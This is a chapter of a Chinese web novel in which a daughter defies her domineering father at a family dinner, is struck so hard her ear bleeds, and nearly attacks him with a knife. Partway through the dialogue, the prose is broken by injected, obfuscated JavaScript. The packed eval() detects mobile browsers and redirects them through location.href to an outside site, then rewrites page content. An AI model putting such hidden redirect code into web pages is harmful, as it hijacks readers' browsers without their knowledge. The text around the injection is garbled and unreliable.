柳序礼阖眼,呼吸间又冷静下来。她不怪柳宣蝶,反正她也不想装了。这家宴表面的平和本也不会维持多久,柳守拙召她来本就为了掀牌桌。 重新睁眼,她只见眼前白瓷杯里,普洱随时间沉淀,茶汤颜色又浓几分。 菜一道道上来。头盘是南非黑金鲍,切薄片,铺在碎冰上,蘸料是现磨山葵和日本酱油。 却无人敢动筷,连柳太脸色都严肃几分。 是柳守拙先夹了片,蘸酱,放入口中。家主没被影响食欲,证明情绪尚佳,众人这才悄悄舒一口气。 柳太这才故作心疼地问柳序礼: “原来小九幼时这么勤奋刻苦啊。难怪,最近台风天都愿意去培训,真系乖女。” 看似夸奖,实则暗示,柳序礼近期行程,连柳太都掌握。 柳序礼咬紧牙关,没有应,她在等,等柳太和柳守拙直接亮明底牌。 果然,柳太继续往目的迂回,“但是乖女,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554390|204413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时也不是好事。太乖的女儿,容易被当软柿。你爹地是生意人,最怕什么,最怕乖女在外给人拿捏。……大妈说的什么意思,你这么聪明,一定明。” “明。”柳序礼应。 明,当然明。 与其说是怕乖女在外被拿捏,不如说是怕乖女在外飞黄腾达,掌握话语权后,将柳守拙若干年前无意被女儿窥见的秘密抖搂出去,广为人知。 “那就好。”柳太笑意更深,“所以小九,安心在家当大小姐,总比在外抛头露面,吃那些苦头来得舒服。你爹地和大妈我也是心疼你。” 世间父母多期盼子女成龙成凤,然而柳守拙是绝对例外。 他见不得柳序礼成功。 故而这夜设宴,正是他“仁慈”地给女儿最后通牒,劝她回头。 既然已经亮牌,柳序礼也就不想再伪装,也亮明态度: “多谢父亲和大妈体谅。小九不怕吃苦。” “……”柳太一怔,“傻孩子,非得如此吗?” 柳序礼答:“非得如此。” 远处柳宣蝶提着一口气,许久没放下,视线来回在丈夫、正妻和女儿间打转。她不知那几人在说什么,似有深意,但她听不懂,她只知气氛很糟糕。 又一盘古法蒸东星斑上来,鱼香四溢,但这回,柳守拙没有动筷。 “柳序礼。” 片刻,柳守拙唤她全名。 柳序礼抬眼,严阵以待。 “你签约那间公司,有我朋友在打点。” “……” 柳序礼屏息。柳守拙没打算隐瞒他渗透进乐皇的事,不屑隐瞒,如他过往对她的监控和管教一样,认定她无能,不足以撼动他,傲慢到骨子里。 “我已经和他们打过招呼,你是我女儿。你想出道,可以。他们会额外照顾你,不会让你吃苦。” “……” 确实不吃苦。干脆雪藏,连露脸发声的机会都不再有,就此压死在资本之下,粉身碎骨。 “合同已经签了,好好配合,好好做事。如果他们搞什么小动作,回来同我讲,一句话,我帮你摆平。” “……” 看似给退路,实则卖身契。以身败名裂负债累累的未来,作为给她铺好的前路,逼她回头,下跪在他面前,彻底臣服,彻底妥协。 “真是好父亲。”柳太合掌,好似被感动,提醒,“小九,还不谢谢你爹地?” 柳序礼沉默。 远处柳宣蝶隐约察觉女儿情绪如绷紧之弦,即将张破,忙开口,要替女儿解围: “小九刚回国,可能还不习惯语言环境。守拙,我替她谢……” “言谢还太早。”柳序礼终于开口,打断,撑桌起身。 她看向柳守拙,嘴角带笑,眼中却藏刀,正式摊牌: “在那之前,是不是该先给这些年的阴谋算计,平一平账?” 14. 新生 偌大餐厅,像被抽干空气。 柳序礼只听身边人纷纷抽吸,仿佛喘不上气。 面不改色的柳守拙,此刻显些诧异,大抵没料到这一直文静温良的女儿竟会当众忤逆。 毕竟方才他与柳太合作默契,一个唱红一个唱白,用温情文雅的说法节节逼近,实则他们都享受猎物节节败退、抵抗不能的狼狈。 岂料,柳序礼会如此反击。 “坐低。”柳守拙喝令。 连玩世不恭的柳家骏听到这语气,生怕被迁怒,都低头大气不敢出。 柳序礼却依旧直挺挺站着,意味不言而喻: 过往未尽本分,如今就别提名分。 柳守拙将手指落在桌面,不住地敲。很有压迫感的小动作,大概过去开会时,只要他这样做,谈判桌对面的人无不认输。 果然,餐桌上亦有人响应,柳太和柳序礼另侧的二姨太都开始拉拽少女,是劝架的意思。 但唯独被柳守拙施压的柳序礼本人,依旧站得笔挺,不为所动。 终于,柳守拙脸色变了,习惯被阿谀奉承的人稍显难堪。 但也只是稍稍罢了,他见识过不少社会底层不要脸穷人发难的样子,他只是没想过,这种穷鬼相,会出现在自己女儿脸上: “我是你生身父亲,难不成我还倒欠你恩情?” “所以我还得谢谢你,父亲?”柳序礼笑答,“谢你十几年如一日在我房间安装监控?谢你没给我打过学费生活费,却会定期给我买我不需要吃的精神病药?谢你没关心过我学业却会给我下套,逼我掉入合同陷阱,毁我前程?” “囡囡——”柳宣蝶站起,颤抖着唤,希望女儿别讲。 桌上一片死寂,只能听到绝望的六姨太轻微啜泣。 众姨太对九姑娘的指控似乎心知肚明,只是啼笑皆非,或许都没想到,看似内敛温良的少女居然有勇气当众说出来。 而其余少爷小姐则多惊诧,他们听说些老爷针对九姑娘的风言风语,只是没想到,不仅确有此事,甚至数量还如此之多。 他们从未想过,看似稳如泰山、游刃有余的父亲,居然会对一个尚未出阁、籍籍无名的女儿,如此忌惮,如此戒备。 “坐低!”柳守拙喝道。 提高的音量,已揭示男人的心态。 重复无聊指令,以维护身为父亲被顶撞的尊严,此外柳守拙无言以对。 “某种程度上,您说得对,柳生,我是该谢您。” 柳序礼疏离地称呼父亲: “生恩深重,本该无以为报,好在您作孽不少,倒替我抹平了这苦恼。 “如今把话说开,我不求报仇,您也别图报恩,我们就当扯平。只望今后山高水远,互不打扰。” 说完,柳序礼不欲浪费时间,准备往外走。 她要离开这里,离开这除去拘束和限制,对她几无增益的“家”。 明日便是出道日,她计划榨尽那公司最后一点宣发价值,再轰轰烈烈地解约。 然后,便是她全新的人生了。 她不怕净身出户,更遑论家庭托举,她只想靠自己。 她的耳朵、她的手指和她的大脑,她本人就是自己东山再起的本钱。 “囡囡!别走……” “小九!别闹了,跟你父亲服个软……” “九姑娘,九姑娘……” 劝和的人声响起,餐厅内一片混乱,柳序礼头也不回往外走,将桌椅因起身拖动刮擦、碗筷被碰撞发出的声响,皆丢在脑后。 “柳序礼——” 她第一次听到父亲失控的扬声。 接着手腕便被一只大手攥住,拦住她去路。 柳序礼转身,却见眼前黑影一晃。 随后便是剧烈疼痛,伴随一声响,炸在她左脸上。 啪—— 柳序礼吃痛,整个人被掼得踉跄,撞上墙边,扶着柜子,才能堪堪站稳。 柳序礼抬手,托着脸,触到火辣疼痛,半晌才反应过来,刚才那声巨响是什么: 是耳光。 是掌骨撞上颧骨的声音。 犹如核弹落地,万物被夷为平地。 柳序礼突然什么也听不到了,整个世界像消失了,所有声音都变得极其遥远。 再接着,终于有声音。 是她的左耳,开始尖叫。 似麦克风对准音响的啸叫,伴随她耳道深处被洞穿似的刺痛。 柳序礼茫然地眨眼,她意识到了什么,但难以置信。 她抬眼,望向四周,见面前怒目相对的柳守拙,见远处捂嘴哭嚎的柳宣蝶,见满桌家人恐慌的嘴脸。 她掌心发热,左耳道里有些温热、粘稠的东西缓缓流出来,落在她手指上。 让柳序礼的心也一并坠下去。 她将手拿到眼前。 她看到了血。 从耳朵里,流出来的,血。 她是音乐人。 她的耳朵就是她的心脏。 她曾靠它们聆听这世界,她曾靠它们倾听自己创造的王国。 曾。 失去听力,她已沦落为一座无声空城。 更遑论东山再起。 柳序礼抬起眼,看向柳守拙。 她眼中浮起血海般的红,好似耳中的血染到眼球之上。 若说先前,她为自保,还对父亲存有些许体面之意,如今,她便一无所有。 这世上最可怕的便是亡命之徒,因为无可牵制,因为了无牵挂。 柳序礼冲向桌面,攥住切肉的餐刀。她发了狠,要为自己报仇,要和柳守拙同归于尽! “囡囡——柳序礼——不要——求你——” 柳宣蝶的声音从她右耳中撞进,随即,柳序礼感到大腿被抱住。 她低头,见自己爱美的母亲狼狈地跪在地上,跪在自己腿边,哭得涕泗横流,毫无形象地央求自己: “囡囡,不要!就当是为了妈妈!你好好想想,你真动手了,妈妈要怎么办?” 柳序礼看着柳宣蝶,嘴唇翕动,却只能发出破碎的残音。 她好想问柳宣蝶,为什么你现在会跪在我脚边?为什么不是跪在那个男人脚边央求他? 她还想问柳宣蝶,妈妈要怎么办,是指我闯祸了妈妈要怎么办…… 还是说,那个男人死了,妈妈要怎么办? 柳序礼一个问题都没问。 手指脱力,餐刀自指间滑脱。 她不想问了,无论答案是哪个。血缘与实力注定,此时此刻,她对柳守拙无能为力。 她原想扯平,无意报复,是柳守拙逼她入绝境。 柳序礼盯死柳守拙。

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